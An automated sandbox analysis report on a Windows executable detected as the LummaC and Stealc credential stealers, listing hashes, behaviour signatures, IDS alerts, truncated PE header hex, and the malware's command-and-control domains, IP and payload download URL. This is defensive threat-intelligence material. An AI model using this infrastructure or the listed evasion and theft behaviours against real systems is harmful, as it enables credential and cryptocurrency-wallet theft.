Edit tour

Windows Analysis Report
niwvNnBk2p.exe

Overview

General Information

Sample name:	niwvNnBk2p.exe renamed because original name is a hash value
Original sample name:	8803c4a15774785fbe633e17a7406a5c.exe
Analysis ID:	1578072
MD5:	8803c4a15774785fbe633e17a7406a5c
SHA1:	05415276f785e41b75db540385a1d2cc4a02df71
SHA256:	4809d808ea0c31090d2b3e72a808983eb189df9a11940fcfef9de7332cd524bf
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

niwvNnBk2p.exe (PID: 5412 cmdline: "C:\Users\user\Desktop\niwvNnBk2p.exe" MD5: 8803C4A15774785FBE633E17A7406A5C)

72QWSV0N4LEVXR18OCAY5450.exe (PID: 7616 cmdline: "C:\Users\user~1\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe" MD5: 44C034B1AD003CD71788ED1DDE918242)

Q0DSEB9ODFQPXTS29CJ02.exe (PID: 7756 cmdline: "C:\Users\user~1\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe" MD5: 54FDA3AEEC860324D9E721BF82B9B350)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["aspecteirs.lat", "sustainskelet.lat", "energyaffai.lat", "grannyejh.lat", "rapeflowwj.lat", "necklacebudi.lat", "discokeyus.lat", "crosshuaht.lat", "sweepyribs.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.1675138914.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.1671949520.0000000000481000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1412181880.00000000013A3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1412036362.00000000013FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.1625763000.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1412605722.00000000013A3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: niwvNnBk2p.exe PID: 5412	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: niwvNnBk2p.exe PID: 5412	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: niwvNnBk2p.exe PID: 5412	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Q0DSEB9ODFQPXTS29CJ02.exe PID: 7756	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Q0DSEB9ODFQPXTS29CJ02.exe PID: 7756	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe", CommandLine: "C:\Users\user~1\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe, ParentCommandLine: "C:\Users\user\Desktop\niwvNnBk2p.exe", ParentImage: C:\Users\user\Desktop\niwvNnBk2p.exe, ParentProcessId: 5412, ParentProcessName: niwvNnBk2p.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe", ProcessId: 7616, ProcessName: 72QWSV0N4LEVXR18OCAY5450.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:35:12.471570+0100	2028371	3	Unknown Traffic	192.168.2.7	49699	104.21.64.80	443	TCP
2024-12-19T08:35:14.504521+0100	2028371	3	Unknown Traffic	192.168.2.7	49700	104.21.64.80	443	TCP
2024-12-19T08:35:17.400683+0100	2028371	3	Unknown Traffic	192.168.2.7	49701	104.21.64.80	443	TCP
2024-12-19T08:35:19.720738+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	104.21.64.80	443	TCP
2024-12-19T08:35:22.171661+0100	2028371	3	Unknown Traffic	192.168.2.7	49709	104.21.64.80	443	TCP
2024-12-19T08:35:24.865567+0100	2028371	3	Unknown Traffic	192.168.2.7	49720	104.21.64.80	443	TCP
2024-12-19T08:35:28.375991+0100	2028371	3	Unknown Traffic	192.168.2.7	49729	104.21.64.80	443	TCP
2024-12-19T08:35:32.195972+0100	2028371	3	Unknown Traffic	192.168.2.7	49741	104.21.64.80	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:35:13.271776+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49699	104.21.64.80	443	TCP
2024-12-19T08:35:15.341835+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49700	104.21.64.80	443	TCP
2024-12-19T08:35:33.042398+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49741	104.21.64.80	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:35:13.271776+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49699	104.21.64.80	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:35:15.341835+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49700	104.21.64.80	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:35:12.471570+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49699	104.21.64.80	443	TCP
2024-12-19T08:35:14.504521+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49700	104.21.64.80	443	TCP
2024-12-19T08:35:17.400683+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49701	104.21.64.80	443	TCP
2024-12-19T08:35:19.720738+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49703	104.21.64.80	443	TCP
2024-12-19T08:35:22.171661+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49709	104.21.64.80	443	TCP
2024-12-19T08:35:24.865567+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49720	104.21.64.80	443	TCP
2024-12-19T08:35:28.375991+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49729	104.21.64.80	443	TCP
2024-12-19T08:35:32.195972+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49741	104.21.64.80	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:35:34.498516+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49747	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:35:11.004801+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.7	64077	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:35:10.754813+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.7	54053	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:35:25.959592+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49720	104.21.64.80	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:35:48.770957+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49778	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: niwvNnBk2p.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://grannyejh.lat/eA	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpsL	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/9	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apier	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/api?T	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exe;	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apig	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apiwSCa	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000A.00000002.1675138914.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: niwvNnBk2p.exe.5412.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["aspecteirs.lat", "sustainskelet.lat", "energyaffai.lat", "grannyejh.lat", "rapeflowwj.lat", "necklacebudi.lat", "discokeyus.lat", "crosshuaht.lat", "sweepyribs.lat"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: niwvNnBk2p.exe	Virustotal: Detection: 54%			Perma Link
Source: niwvNnBk2p.exe	ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: niwvNnBk2p.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sweepyribs.lat
Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: niwvNnBk2p.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49741 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 72QWSV0N4LEVXR18OCAY5450.exe, 00000009.00000003.1566189929.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, 72QWSV0N4LEVXR18OCAY5450.exe, 00000009.00000002.1700166815.00000000004B2000.00000040.00000001.01000000.00000006.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.7:54053 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.7:64077 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49701 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49699 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49700 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49703 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49729 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49720 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49709 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49741 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49778 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49699 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49699 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49720 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49700 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49741 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49700 -> 104.21.64.80:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:35:33 GMTContent-Type: application/octet-streamContent-Length: 1719808Last-Modified: Thu, 19 Dec 2024 07:22:27 GMTConnection: keep-aliveETag: "6763c9b3-1a3e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 44 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 44 00 00 04 00 00 39 5c 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 76 69 77 6c 76 7a 7a 00 e0 19 00 00 60 2a 00 00 dc 19 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6e 64 70 75 67 70 7a 00 20 00 00 00 40 44 00 00 06 00 00 00 16 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 44 00 00 22 00 00 00 1c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:35:37 GMTContent-Type: application/octet-streamContent-Length: 2856960Last-Modified: Thu, 19 Dec 2024 07:24:04 GMTConnection: keep-aliveETag: "6763ca14-2b9800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 d0 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 4f 00 00 04 00 00 dd 7d 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 